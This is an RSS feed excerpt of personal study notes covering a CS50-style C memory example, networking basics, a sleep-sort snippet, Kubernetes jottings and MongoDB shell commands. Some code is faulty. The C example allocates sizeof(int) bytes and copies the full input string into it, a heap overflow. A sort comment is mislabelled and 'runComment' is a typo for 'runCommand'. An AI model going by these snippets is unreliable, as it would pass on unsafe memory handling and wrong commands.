</span></span><span class="line"><span class="cl">    <span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nf">toupper</span><span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Value of I: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Value of C: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// malloc
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span><span class="n">m</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">n</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">i</span><span class="p">);</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="n">n</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">m</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">strlen</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">m</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nf">tolower</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Value of I: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Value of M: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">m</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">m</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div>
  


<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">$ ./memory
</span></span><span class="line"><span class="cl">Getting address: 0x7ff7b3c07a48
</span></span><span class="line"><span class="cl">Getting value: <span class="m">50</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">String value: HI!
</span></span><span class="line"><span class="cl">String address: 0x10c2fae8a
</span></span><span class="line"><span class="cl">String value first character: H
</span></span><span class="line"><span class="cl">String value NULL character:
</span></span><span class="line"><span class="cl">String address first: 0x10c2fae8a
</span></span><span class="line"><span class="cl">String address second: 0x10c2fae8b
</span></span><span class="line"><span class="cl">String address third: 0x10c2fae8c
</span></span><span class="line"><span class="cl">HI!
</span></span><span class="line"><span class="cl"><span class="m">0</span>
</span></span><span class="line"><span class="cl"><span class="m">12</span>
</span></span><span class="line"><span class="cl">Enter the value of I: hi!
</span></span><span class="line"><span class="cl">Value of I: Hi!
</span></span><span class="line"><span class="cl">Value of C: Hi!
</span></span><span class="line"><span class="cl">Value of I: Hi!
</span></span><span class="line"><span class="cl">Value of M: hi!
</span></span></code></pre></div><h2 id="reference">Reference</h2>
<ul>
<li><a href="https://pll.harvard.edu/course/cs50-introduction-computer-science">https://pll.harvard.edu/course/cs50-introduction-computer-science</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Miscellaneous Notes</title>
      <link>https://sagarchamling.com/notes/misc/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/misc/</guid>
      <description>Unorganized to be Organized</description>
      <content:encoded><![CDATA[<h2 id="internet-primer">Internet Primer</h2>
<h3 id="ip-address">IP Address</h3>
<ul>
<li>32-bit address, unique identifier of computer on a network.</li>
<li>addressing scheme used by computers is known as IP addressing.</li>
<li>four cluster of 8-bits using decimal notation.</li>
</ul>
<h3 id="dhcp">DHCP</h3>
<ul>
<li>to assign IP addresses to computers</li>
</ul>
<h3 id="dns">DNS</h3>
<ul>
<li>help us translate IP addresses to human-comprehensible names.</li>
<li>analogy: yellow pages directory (business names into phone numbers).</li>
<li>there&rsquo;s no really a DNS record of the entire internet.</li>
<li>DNS server like (Google) act like aggregators, collecting smaller sets of DNS information and pooling them together, updating frequently.</li>
<li>DNS record sets are thus fairly decentralized.</li>
<li>port 53.</li>
</ul>
<h3 id="access-points">Access Points</h3>
<ul>
<li>router behaves as a traffic cop (NAT) that allows data requests from all of the devices on your local network to be processed through a single IP address.</li>
<li>soho networks consist of access points that combines a router, a modem, a switch, and other technologies together into a single device.</li>
</ul>
<h3 id="tcpip">TCP/IP</h3>
<ul>
<li>
<p><strong>Internet Protocol (IP)</strong>: connection-less protocol for getting information from a sending machine to a receiving machine.</p>
</li>
<li>
<p><strong>Transmission Control Protocol (TCP)</strong> - directing the transmitted packet to the correct program on the receiving machine.</p>
</li>
<li>
<p>dictate how information is communicated from machine to machine and application to application (IP and TCP, respectively).</p>
</li>
<li>
<p>it is important to be able to identify <em>where</em> the receiver is and <em>what</em> the packet is for.</p>
</li>
<li>
<p>TCP and IP are inseparable pair (TCP/IP).</p>
</li>
<li>
<p>each program/utility/service on a machine is assigned a port number, coupled with IP address allows to uniquely identify a specific program on a specific machine.</p>
</li>
<li>
<p>TCP is crucial for <em>guaranteeing delivery</em> of packets.</p>
</li>
<li>
<p>TCP does by including:</p>
<ul>
<li>information about how many packets the receiver should expect to get and in what order,</li>
<li>transmitting that information alongside the data.</li>
</ul>
</li>
</ul>
<h4 id="tcpip-steps">TCP/IP Steps</h4>
<p>when data is sent:</p>
<ul>
<li>TCP breaks it into smaller chunks and communicates those packets to the computer&rsquo;s network software, adding a TCP layer onto the packet.</li>
<li>IP routes the individual packages from sender to receiver; this info is part of the IP layer surrounding the packet.</li>
<li>on receiving end, TCP looks at the header to see which program it belongs to and present those packets to destination program into proper order.</li>
</ul>
<h3 id="http">HTTP</h3>
<ul>
<li>Hypertext Transfer Protocol</li>
<li>protocol for how to interpret the data that was sent.</li>
<li>application layer protocol which specifically:
<ul>
<li>dictates the format by which client <em>request</em> web pages from server and</li>
<li>the format via which server <em>return</em> information to clients.</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">method request-target http-version
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">--
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">GET / HTTP/1.1    ------------------------&gt;   HTTP/1.1 <span class="m">200</span> OK
</span></span><span class="line"><span class="cl">Host: cats.com                                Content-Type: text/html
</span></span></code></pre></div><h2 id="rgb-representation">RGB Representation</h2>
<ul>
<li>Why in Hexadecimal? convenient representation, makes easier to understand.
<ul>
<li>Hexadecimal -&gt; <code>#FF FF FF</code></li>
<li>Binary -&gt; <code>#11111111 11111111 11111111</code></li>
<li>Decimal -&gt; <code>#255 255 255</code></li>
</ul>
</li>
<li>FF -&gt; represents 255</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Deep Understanding</span>
</span></span><span class="line"><span class="cl">  16^1 <span class="o">=</span> <span class="m">16</span>   16^0 <span class="o">=</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">      *          *
</span></span><span class="line"><span class="cl">      F          <span class="nv">F</span>
</span></span><span class="line"><span class="cl">  <span class="o">=</span> <span class="m">16</span> * <span class="m">15</span> + <span class="m">1</span> * <span class="nv">15</span> <span class="o">=</span> <span class="m">255</span>
</span></span></code></pre></div><h2 id="big-o-vs-omega">Big O vs Omega</h2>
<ul>
<li>Big O - upper bound (O)</li>
<li>Omega - lower bound (Ω)</li>
<li>Theta -&gt; both same</li>
<li>space and time complexity are converse</li>
<li>bubble sort sometimes can win if already sorted.</li>
</ul>
<h2 id="data-structure">Data Structure</h2>
<ul>
<li>orphaned memory leads memory leaks. (linked list)</li>
</ul>
<h2 id="algorithms">Algorithms</h2>
<h3 id="weird-algorithm">Weird Algorithm</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sleep_sort<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="o">(</span>sleep <span class="nv">$1</span><span class="p">;</span> <span class="nb">echo</span> <span class="nv">$1</span><span class="o">)</span> <span class="p">&amp;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">shift</span>
</span></span><span class="line"><span class="cl">  <span class="k">done</span>
</span></span><span class="line"><span class="cl">  <span class="nb">wait</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h2 id="devops">DevOps</h2>
<ul>
<li>CI - Build/Test</li>
<li>CD - Release/Deploy</li>
</ul>
<h2 id="mastering-kubernetes-on-premise--cloud-for-admins-developers-devops--architects">Mastering Kubernetes On-Premise &amp; Cloud for Admins, Developers, DevOps &amp; Architects</h2>
<h3 id="kubernetes-container-orchestration">Kubernetes: Container Orchestration</h3>
<p>Cloud native application</p>
<ul>
<li>Cloud native is the software approach of building, deploying.</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-9181a" hidden />
  <label for="zoomCheck-9181a">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-51f62" hidden />
  <label for="zoomCheck-51f62">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-2.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-9ea92" hidden />
  <label for="zoomCheck-9ea92">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-1.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-96d4e" hidden />
  <label for="zoomCheck-96d4e">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-3.webp"
      alt="alt text"
       />
  </label>
</p>
<ul>
<li>
<p>Fargate is serverless</p>
</li>
<li>
<p>add relevant description only.</p>
</li>
<li>
<p>argo cd</p>
</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-32966" hidden />
  <label for="zoomCheck-32966">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-5.webp"
      alt="alt text"
       />
  </label>
</p>
<ul>
<li>pre deployment charts</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-99e30" hidden />
  <label for="zoomCheck-99e30">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-6.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-98393" hidden />
  <label for="zoomCheck-98393">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-7.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-57b4b" hidden />
  <label for="zoomCheck-57b4b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-8.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-dca4c" hidden />
  <label for="zoomCheck-dca4c">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-9.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-08678" hidden />
  <label for="zoomCheck-08678">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-10.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-a43d8" hidden />
  <label for="zoomCheck-a43d8">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-11.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-cf4b8" hidden />
  <label for="zoomCheck-cf4b8">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-12.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-73447" hidden />
  <label for="zoomCheck-73447">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-13.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-3ba3c" hidden />
  <label for="zoomCheck-3ba3c">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-14.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-f15cd" hidden />
  <label for="zoomCheck-f15cd">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-15.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-e4dd5" hidden />
  <label for="zoomCheck-e4dd5">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-16.webp"
      alt="alt text"
       />
  </label>
</p>
<p>
  
  <input type="checkbox" id="zoomCheck-62ea3" hidden />
  <label for="zoomCheck-62ea3">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="image-17.webp"
      alt="alt text"
       />
  </label>
</p>
]]></content:encoded>
    </item>
    <item>
      <title>MongoDB 201</title>
      <link>https://sagarchamling.com/notes/mongodb-201/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/mongodb-201/</guid>
      <description>MongoDB 201</description>
      <content:encoded><![CDATA[<h2 id="collection">collection</h2>
<ul>
<li>help keep documents organized.</li>
</ul>
<blockquote>
<p>cap collections to store a maximum amount of documents at any one time</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Basics</span>
</span></span><span class="line"><span class="cl">$ db.getName<span class="o">()</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">$ db.recipes.insertOne<span class="o">({})</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span><span class="s2">&#34;title&#34;</span>: <span class="o">{</span> <span class="nv">$regex</span>: /taco/i <span class="o">}}</span>, <span class="o">{</span>title: 1, _id: 0<span class="o">})</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># show</span>
</span></span><span class="line"><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="cl">$ show collections<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sub-collection -&gt; using dot</span>
</span></span><span class="line"><span class="cl">$ db.cool.mid.insertOne<span class="o">({})</span> <span class="c1"># same but can be helpful for query purpose</span>
</span></span></code></pre></div><h2 id="sort-skip-limit">sort, skip, limit</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># searching</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">()</span>.count<span class="o">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.limit<span class="o">(</span>3<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sorting</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.sort<span class="o">({</span>title: -1<span class="o">})</span> <span class="c1"># asc</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.sort<span class="o">({</span>title: -1<span class="o">})</span> <span class="c1"># desc</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># skip</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.skip<span class="o">(</span>2<span class="o">)</span>.limit<span class="o">(</span>1<span class="o">)</span>
</span></span></code></pre></div><h2 id="operators">operators</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">$gt</span>   -&gt; &gt;
</span></span><span class="line"><span class="cl"><span class="nv">$lt</span>   -&gt; &lt;
</span></span><span class="line"><span class="cl"><span class="nv">$lte</span>  -&gt; &lt;<span class="o">=</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span>cook_time: <span class="o">{</span><span class="nv">$lte</span>:30 <span class="o">}</span>, prep_time:<span class="o">{</span><span class="nv">$lte</span>: 10<span class="o">}}</span>, <span class="o">{</span>title: 1<span class="o">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># and</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span> tags: <span class="o">{</span> <span class="nv">$all</span>: <span class="o">[</span><span class="s2">&#34;easy&#34;</span>, <span class="s2">&#34;quick&#34;</span><span class="o">]}}</span>, <span class="o">{</span>title: 1, tags: 1<span class="o">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># or</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span> tags: <span class="o">{</span> <span class="nv">$in</span>: <span class="o">[</span><span class="s2">&#34;easy&#34;</span>, <span class="s2">&#34;quick&#34;</span><span class="o">]}}</span>, <span class="o">{</span>title: 1, tags: 1<span class="o">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># nested</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span> <span class="s2">&#34;ingredients.name&#34;</span>: <span class="s2">&#34;egg&#34;</span> <span class="o">}</span>, <span class="o">{</span> title: 1<span class="o">})</span>
</span></span></code></pre></div><h2 id="updating">updating</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">$set</span>
</span></span><span class="line"><span class="cl"><span class="nv">$unset</span>
</span></span><span class="line"><span class="cl"><span class="nv">$inc</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ db.examples.updateOne<span class="o">({</span>title: <span class="s2">&#34;Pizza&#34;</span><span class="o">}</span>, <span class="o">{</span><span class="nv">$set</span>: <span class="o">{</span>title: <span class="s2">&#34;Crust pizza&#34;</span><span class="o">}})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># upsert -&gt; update or insert depending upon already exists or not.</span>
</span></span><span class="line"><span class="cl">$ db.examples.updateOne<span class="o">({</span>title: <span class="s2">&#34;Crust pizza&#34;</span><span class="o">}</span>, <span class="o">{</span><span class="nv">$set</span>: <span class="o">{</span>vegan: false<span class="o">}})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># remove key</span>
</span></span><span class="line"><span class="cl">$ db.examples.updateOne<span class="o">({</span>title: <span class="s2">&#34;Crust pizza&#34;</span><span class="o">}</span>, <span class="o">{</span><span class="nv">$unset</span>: <span class="o">{</span>vegan: 1<span class="o">}})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># increment</span>
</span></span><span class="line"><span class="cl">$ db.examples.updateOne<span class="o">({</span>title: <span class="s2">&#34;Tacos&#34;</span><span class="o">}</span>, <span class="o">{</span><span class="nv">$inc</span>: <span class="o">{</span><span class="s2">&#34;likes_count&#34;</span>: 1<span class="o">}})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># check</span>
</span></span><span class="line"><span class="cl">$ db.examples.find<span class="o">({</span>title: <span class="s2">&#34;Tacos&#34;</span><span class="o">})</span>.pretty<span class="o">()</span>
</span></span></code></pre></div><blockquote>
<p>eventual consistency (atomic operation =&gt; multiple user setting value)
no locks or transactions.</p>
</blockquote>
<h3 id="update-arrays">update arrays</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">$push</span> -&gt; into array end
</span></span><span class="line"><span class="cl"><span class="nv">$pull</span> &lt;- take out
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ db.examples.updateOne<span class="o">({</span><span class="s2">&#34;title&#34;</span>: <span class="s2">&#34;Tacos&#34;</span><span class="o">}</span>, <span class="o">{</span> <span class="nv">$push</span>: <span class="o">{</span><span class="s2">&#34;likes&#34;</span>: 60<span class="o">}})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ db.examples.updateOne<span class="o">({</span><span class="s2">&#34;title&#34;</span>: <span class="s2">&#34;Tacos&#34;</span><span class="o">}</span>, <span class="o">{</span> <span class="nv">$pull</span>: <span class="o">{</span><span class="s2">&#34;likes&#34;</span>: 60<span class="o">}})</span>
</span></span></code></pre></div><h2 id="delete-documents">delete documents</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># delete</span>
</span></span><span class="line"><span class="cl">$ db.examples.deleteOne<span class="o">({</span> title: <span class="s2">&#34;Delete me&#34;</span> <span class="o">})</span>
</span></span></code></pre></div><h2 id="challenge-queries">challenge queries</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># top rated recipes</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.sort<span class="o">({</span> <span class="s1">&#39;rating_avg&#39;</span>: -1 <span class="o">})</span>.limit<span class="o">(</span>4<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># top mexican recipes</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span> tags: <span class="s2">&#34;mexican&#34;</span> <span class="o">}</span>, <span class="o">{</span>title: 1<span class="o">})</span>
</span></span><span class="line"><span class="cl">  .sort<span class="o">({</span> <span class="s1">&#39;rating_avg&#39;</span>: -1 <span class="o">})</span>
</span></span><span class="line"><span class="cl">  .limit<span class="o">(</span>4<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># recipes liked by other</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({}</span>, <span class="o">{</span>title: 1, likes: 1<span class="o">})</span>.sort<span class="o">({</span> title: <span class="m">1</span> <span class="o">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># recipes liked by user 1 and 35</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span>likes: <span class="o">{</span><span class="nv">$in</span>: <span class="o">[</span>1, 35<span class="o">]}}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.sort<span class="o">({</span>title: 1<span class="o">})</span>
</span></span></code></pre></div><h2 id="schema-modeling">schema modeling</h2>
<ul>
<li>embed other document using a sub-document if the data is always going to read and modify it.</li>
<li>simplify and reduce queries.</li>
</ul>
<h3 id="references">references</h3>
<ul>
<li>data rarely read at the same time.</li>
<li>do we need this data on load?</li>
<li>consider unique indexing in both documents.</li>
<li>e.g. create comments in separate document, create another top-comments in separate document.</li>
<li><strong>gotchas</strong>: will your data change? or user ever want to see all comments they&rsquo;ve ever made so no need to store with users.</li>
</ul>
<h2 id="indexing">indexing</h2>
<ul>
<li>indexes help queries zoom</li>
<li>easily look up a matching document</li>
<li>without scanning every document in your collection</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># checking query execution plan for 7 documents.</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span>cook_time: 10<span class="o">}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.explain<span class="o">(</span><span class="s1">&#39;executionStats&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">{</span>
</span></span><span class="line"><span class="cl">  ...
</span></span><span class="line"><span class="cl">   executionStats: <span class="o">{</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    totalDocsExamined: 7,
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># creating cook_time index in descending order.</span>
</span></span><span class="line"><span class="cl">$ db.recipes.createIndex<span class="o">({</span><span class="s2">&#34;cook_time&#34;</span>: -1<span class="o">})</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># fetching indexes.</span>
</span></span><span class="line"><span class="cl">$ db.recipes.getIndexes<span class="o">()</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>
</span></span><span class="line"><span class="cl">  <span class="o">{</span> v: 2, key: <span class="o">{</span> _id: <span class="m">1</span> <span class="o">}</span>, name: <span class="s1">&#39;_id_&#39;</span> <span class="o">}</span>,
</span></span><span class="line"><span class="cl">  <span class="o">{</span> v: 2, key: <span class="o">{</span> cook_time: -1 <span class="o">}</span>, name: <span class="s1">&#39;cook_time_-1&#39;</span> <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># checking query execution plan after indexing.</span>
</span></span><span class="line"><span class="cl">$ db.recipes.find<span class="o">({</span>cook_time: 10<span class="o">}</span>, <span class="o">{</span>title: 1<span class="o">})</span>.explain<span class="o">(</span><span class="s1">&#39;executionStats&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">{</span>
</span></span><span class="line"><span class="cl">  ...
</span></span><span class="line"><span class="cl">   executionStats: <span class="o">{</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    totalDocsExamined: 1,
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># dropping indexes</span>
</span></span><span class="line"><span class="cl">$ db.recipes.dropIndex<span class="o">(</span><span class="s2">&#34;cook_time_-1&#34;</span><span class="o">)</span>
</span></span></code></pre></div><h2 id="gridfs">GridFS</h2>
<ul>
<li>break files into chunks.</li>
<li>chunks stored in separate documents.</li>
<li>a parent document keeps track of file data.</li>
<li>the chunks are streamed back via a MongoDB client.</li>
<li>e.g. kind of sensor data, maybe a really smart smoker pellet grill.</li>
</ul>
<h3 id="capped-collections">capped collections</h3>
<ul>
<li>cap the amount of data or documents</li>
<li>guaranteed insertion order</li>
<li>limited
<ul>
<li>by disk size or document count.</li>
</ul>
</li>
<li>automatic deletion
<ul>
<li>first in, first out</li>
<li>based off guaranteed order.</li>
<li>always deletes when max size is reached</li>
<li>no need to worry</li>
</ul>
</li>
<li>e.g. log data, saving images.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ db.createCollection<span class="o">(</span><span class="s2">&#34;error_log&#34;</span>, <span class="o">{</span> capped: true, size: 10000, max: 10000<span class="o">})</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># convert existing collection.</span>
</span></span><span class="line"><span class="cl">db.runComment<span class="o">({</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;convertToCapped&#34;</span>: <span class="s2">&#34;error_log2&#34;</span>,
</span></span><span class="line"><span class="cl">  size: <span class="m">10000</span>
</span></span><span class="line"><span class="cl"><span class="o">})</span>
</span></span></code></pre></div><h4 id="limitations">limitations</h4>
<ul>
<li>no index by default (note if needed to update documents often).</li>
<li>can&rsquo;t shard a capped collection.</li>
</ul>
<h3 id="time-series-collections">time series collections</h3>
<ul>
